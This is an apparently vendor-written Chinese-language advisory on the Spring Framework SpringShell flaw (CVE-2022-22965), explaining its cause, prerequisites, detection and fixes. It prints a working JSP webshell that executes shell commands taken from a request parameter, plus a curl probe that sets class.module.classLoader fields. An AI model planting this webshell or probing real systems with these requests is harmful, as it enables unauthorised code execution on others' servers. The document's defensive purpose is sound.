SpringShell 0day漏洞:详细解释及答疑

3 月 29 日,cyberkendra 安全博客发布了一篇关于 Spring 框架中与Log4Shell 等效的零日漏洞的耸人听闻的帖子,但没有关于漏洞本身的任何可靠细节。该安全漏洞被昵称为“Spring4Shell”(或“SpringShell”),因为它被称为与臭名昭著的“Log4Shell”相提并论。一天后,也就是 3 月 30 日,Twitter 上发布了一个 0day的概念验证,这让研究人员争先恐后地验证它及其真实性。3 月 31 日,该漏洞得到Spring 维护人员的正式确认,并给出了 CVE ID – CVE-2022-22965 ,随后发布了 Spring Framework 的修复版本。

在某些条件下,在使用 Spring Framework 的 Web 应用程序上,该安全漏洞被正式发布为严重严重的远程代码执行问题。

SpringShell 漏洞的原因是什么?

SpringShell 漏洞在于 Spring Framework 的“数据绑定”机制。

这种机制从请求 URL 或请求正文中获取参数,并将它们分配给函数参数,或者在某些情况下分配给Java 对象。

public class Greeting {

private long id;

private String content;

+

@GetMapping(“/endpoint”)

public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {

+

http://www.myapp.com/endpoint?id=5&content=hello

=

greeting.getId() == 5

greeting.getContent() == “hello”

将请求参数分配给 Java 对象时,存在固有的安全风险,因为构建对象的某些“内部”参数永远不应受到外部控制,这包括Class、ClassLoader和ProtectionDomain参数。Spring 包含拒绝攻击者分配这些内部属性的特定代码。不幸的是,从 Java 9 开始,由于引入了新的 API ( class.getModule ),可以绕过 Spring 的保护并为ClassLoader属性的属性分配任意值——这是 SpringShell 的根本原因。

为什么 SpringShell 如此危险?

Spring Framework 是一个非常流行的构建 Web 应用程序的框架,而 SpringShell 漏洞位于该框架的核心,这意味着许多使用 Spring Framework 构建的 Web 应用程序将容易受到此问题的影响。

尽管并非所有 Web 应用程序都可以利用此安全漏洞(请参阅下一节),但利用的先决条件可能并不少见。例如 Spring 发布的基础教程之一—— “处理表单提交”就容易受到这个漏洞的影响。由于许多 Web 应用程序开发人员将这些教程用作模板,这可能会导致易受攻击的应用程序泛滥成灾。

该漏洞的影响可能是最高的——远程代码执行。

此外,JDK 本身没有针对此类漏洞的缓解技术,并且该漏洞很难以稳定的方式利用。

尽管如此,我们认为这个问题不会像Log4Shell那样普遍。

SpringShell 目前是如何被利用的

有很多方法可以利用修改ClassLoader来获取远程代码执行,但最初发布的 PoC 漏洞利用选择了利用Tomcat 特有的技术来利用这个安全漏洞——滥用AccessLogValve来获取任意文件覆盖。

该漏洞利用分两个阶段进行 –

  • 覆盖 Tomcat 特定的ClassLoader属性,将访问日志文件路径更改为 web 根目录下的某个位置,并将日志模式(写入的数据)更改为包含 webshel​​l 代码的常量模式。这会导致 webshel​​l JSP 被放到 web 根目录下
  • 向丢弃的 webshel​​l 发送查询请求,以执行任意 shell 命令

webshel​​l 是一个极其简单的 JSP 程序,它执行通过查询参数传递给它的 shell 命令——

<%

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();

int a = -1;

byte[] b = new byte[2048];

 

while((a=in.read(b))!=-1) {

out.println(new String(b));

}

%>

可以在此处找到有关此利用技术的更详细的说明。

SpringShell 漏洞何时可被利用?

概括地说,如果出现以下情况,您的 Web 应用程序可能会受到攻击:

  • 您的 Web 应用程序是基于 Spring Framework 构建的(例如,使用 Spring Boot)
  • 您的 Web 应用程序在 JDK 9 或任何更高版本上运行
  • 您的 Web 应用程序使用数据绑定将请求参数绑定到 Java 对象

扩展最后一个先决条件——由于漏洞存在于 Spring 的数据绑定机制中,因此只有尝试将请求参数绑定到 POJO(Plain Old Java Objects)的 Web 应用程序易受攻击。

实际上,这意味着请求处理程序将接收用户定义的类类型作为其第一个参数。

以下任何注解都表示可能容易受到影响的请求处理程序 –

@RequestMapping

@GetMapping

@PostMapping

@PutMapping

@DeleteMapping

@PatchMapping

一个易受攻击的 Spring Controller 的例子——

@Controller

public class HelloController {

@GetMapping(“/greeting”)

public String helloWorld(@ModelAttribute SomeClass someClass, Model model) {

return “hello”;

}

}

请注意 注解,它表示将发生数据绑定。@ModelAttribute

相同的请求处理程序也可以在没有注解的情况下编写,并且仍然容易受到攻击——@ModelAttributesomeClass

@GetMapping(“/greeting”)

public String helloWorld(SomeClass someClass, Model model) {

return “hello”;

}

这是因为默认情况下 well-known classesnon-simple类都会解析为@ModelAttribute。

作为参考,请注意,当使用以下参数类型/注解时,该漏洞无法被利用——

WebRequest

NativeWebRequest

ServletRequest

ServletResponse

MultipartRequest

MultipartHttpServletRequest

HttpSession

PushBuilder

Principal

HttpMethod

Locale

TimeZone

ZoneId

InputStream

Reader

OutputStream

Writer

@PathVariable

@MatrixVariable

@RequestParam

@RequestHeader

@CookieValue

@RequestBody

HttpEntity

@RequestPart

Map

Model

ModelMap

RedirectAttributes

SessionStatus

@SessionAttribute

@SessionAttributes

UriComponentsBuilder

@RequestAttribute

关于当前漏洞利用的说明

基于原始 PoC 漏洞利用选择的角度(通过 AccessLogValve 覆盖任意文件),除上述之外,该漏洞被利用还需要两个前提:

  • Web 应用程序必须由 Apache Tomcat 提供服务
  • Web 应用程序必须作为 WAR 部署在 Tomcat 上。Spring Boot(可执行 JAR)的默认部署方法不容易受到漏洞利用。

但是,我们怀疑新的漏洞利用将采用不同维度进行攻击,并且不会受到这两个前提的影响。即使您使用不同的应用程序服务器(例如 Eclipse Jetty),也必须针对此问题进行修补。

公布的不准确之处

由于这个漏洞是作为零日漏洞发布的,再加上引发 FUD 的 Cyber​​Kendra 原始博客文章,因此发布了许多关于 SpringShell 的不准确之处。我们的研究团队不断关注最新的博客文章和出版物,并想澄清一些观点——

  • 虽然最初的利用 PoC 仅适用于作为 WAR 托管在 Apache Tomcat 上的 Web 应用程序(这并不常见),但无论托管应用程序服务器如何,该漏洞本身都是相关的。我们完全期望未来的 SpringShell 漏洞利用针对不同的应用程序服务器(例如 Eclipse Jetty)和不同的部署方法。

如何测试 SpringShell 问题?

为了测试,除了运行一个可用的PoC 漏洞利用之外Randori 攻击团队使用 curl 发布了一个简单的测试——

curl -s -o /dev/null -w “%{http_code}” host:port/path?class.module.classLoader.URLs%5B0%5D=0

如果返回的状态码是“400”——你的端点很可能很容易受到攻击。

请注意,返回的状态码不是“400”,并不能保证端点没有漏洞。

为了测试本地代码库,JFrog 发布了一个 OSS 工具,该工具可以扫描编译的二进制代码以找到易受攻击的 Web 应用程序——

为了解决将实际运行的应用程序与其源代码匹配的复杂性,我们专注于一种直接扫描已编译二进制代码的工具。为了过滤掉不相关的结果,我们选择扫描功能,该功能提供了一种强大的方法来将大部分端点注销为非易受攻击(端点绑定请求的类型),从而帮助团队专注于更新他们的软件中实际上可能易受攻击的部分。

如何彻底修复 SpringShell 漏洞?

修复 SpringShell 的最佳方法是将 Spring Framework 升级到版本 5.2.20 或 5.3.18

如果您直接使用 Spring Boot – 升级到 2.6.6 版本

升级 Spring Framework 可以如下完成 –

Maven

编辑你的 -pom.xml

<属性>

<spring-framework.version>5.3.18</spring-framework.version>

Gradle

编辑你的 -build.gradle

ext[‘spring-framework.version’] = ‘5.3.18’

我可以在不升级的情况下缓解 SpringShell 问题吗?

最好的做法是升级 Spring Framework(如上一节所示)。如果目前无法升级,Spring 官方博客建议修改您的应用程序代码并添加一个阻止分配给某些 内部字段的代码 -@ControllerAdviceClassLoader

@ControllerAdvice

@Order(Ordered.LOWEST_PRECEDENCE)

public class BinderControllerAdvice {

 

@InitBinder

public void setAllowedFields(WebDataBinder dataBinder) {

String[] denylist = new String[]{“class.*”, “Class.*”, “*.class.*”, “*.Class.*”};

dataBinder.setDisallowedFields(denylist);

}

 

}

Spring 提到此解决方法不是安全的,并提出了更多可能的解决方法,但总的来说,升级是解决此问题的最佳方法。

JFrog 平台是否容易受到 SpringShell 的影响?

经过内部研究,我们可以确认 JFrog 平台不受 SpringShell (CVE-2022-22965) 或 Spring Cloud Function 中最近的 RCE 漏洞 (CVE-2022-22963) 的攻击。

SpringShell 是否与 CVE-2022-22963 或 CVE-2022-22950 相关?

不幸的是,另外两个 Spring CVE 与 SpringShell (CVE-2022-22965) 同时发布,引起了很多混乱。

这两个额外的 CVE 与 SpringShell 无关,应与 SpringShell 分开处理。

CVE-2022-22963是 Spring Cloud Function 中的一个严重严重性 RCE 问题(最初报告为中等严重性问题)。这是一个非常严重的问题,但是 Spring Cloud Function 没有 Spring Framework 广泛使用。

CVE-2022-22950是 Spring Framework 中的中等严重性 DoS 问题。

如何使用 JFrog Xray 检测 SpringShell 漏洞?

对于任何受支持的制品类型,JFrog Artifactory 和 JFrog Xray 可以检测易受 SpringShell 漏洞影响的工件,并增加了详细的研究数据和缓解措施。请继续关注有关如何查明和解决受 SpringShell 影响的工件的深入博客文章。

 

标签:JFrog pipelines   JFrog 容器注册   JFrog docker 注册     制品库管理  制品库